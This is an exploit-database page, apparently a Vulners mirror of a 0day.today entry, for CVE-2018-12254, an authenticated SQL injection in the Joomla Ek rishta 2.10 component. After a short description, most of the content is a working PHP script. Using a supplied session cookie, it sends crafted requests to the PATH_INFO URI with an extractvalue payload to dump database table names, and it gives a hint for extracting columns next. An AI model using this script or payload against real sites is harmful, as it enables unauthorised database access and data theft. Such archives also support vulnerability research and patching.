Lucene search
K

Joomla Ek rishta 2.10 Component - SQL Injection Vulnerability

🗓️ 15 Jun 2018 00:00:00Reported by Guilherme AssmannType 
zdt
 zdt
🔗 0day.today👁 38 Views

SQL Injection vulnerability in Joomla Ek rishta 2.10 Componen

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Harmis Ek rishta SQL Injection Vulnerability in Joomla!
14 Jun 201800:00
cnvd
Check Point Advisories
Joomla Ek Rishta Component SQL Injection (CVE-2018-12254)
25 Jun 201800:00
checkpoint_advisories
CVE
CVE-2018-12254
12 Jun 201817:00
cve
Cvelist
CVE-2018-12254
12 Jun 201817:00
cvelist
Exploit DB
Joomla! Component Ek Rishta 2.10 - SQL Injection
14 Jun 201800:00
exploitdb
EUVD
EUVD-2018-4232
7 Oct 202500:30
euvd
exploitpack
Joomla Component Ek Rishta 2.10 - SQL Injection
14 Jun 201800:00
exploitpack
NVD
CVE-2018-12254
12 Jun 201817:29
nvd
OSV
CVE-2018-12254
12 Jun 201817:29
osv
Packet Storm
Joomla Ek Rishta 2.10 SQL Injection
14 Jun 201800:00
packetstorm
Rows per page
# Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection
# Exploit Author: Guilherme Assmann
# Vendor Homepage:https://www.joomla.org/
# Version: 2.10
# Tested on: MacOSX, Safari, Chrome
# Download: https://extensions.joomla.org/extension/ek-rishta/
# CVE: CVE-2018-12254
 
# Vulnerability Description
# To exploit this vulnerability, the user must be logged on to the platform!
# the vulnerability allows SQL Injection via the
# PATH_INFO to a home/requested_user/Sent%20interest/[username] URI.
# more information(en): 
# https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/
# more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/
# more information: https://desecsecurity.com/
# exploit code to dump tables:
 
<?php
 
// CVE-2018-12254
 
// after dump the tables, use %60%23table_name%60 to dump columns...
 
$host = $argv[1];
$cookie = $argv[2];
 
// Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar”
function exploit($host,$ck){
$urls = sqli();
$ch = curl_init();
foreach($urls as $url){
curl_setopt($ch,CURLOPT_URL,$host.$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,":)");
curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100);
curl_setopt($ch,CURLOPT_TIMEOUT,100);
$response = curl_exec($ch);
$s =  strpos($response,"#__");
echo substr($response,$s,30)."\n";
}
}
function sqli(){
$uri = "/index.php/home/requested_user/Sent%20interest/1'or%20";
for($i=0;$i<100;$i++){
$value = $i+1;
$data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #'));
}
return $data;
}
exploit($host,$cookie);
?>

#  0day.today [2018-06-15]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation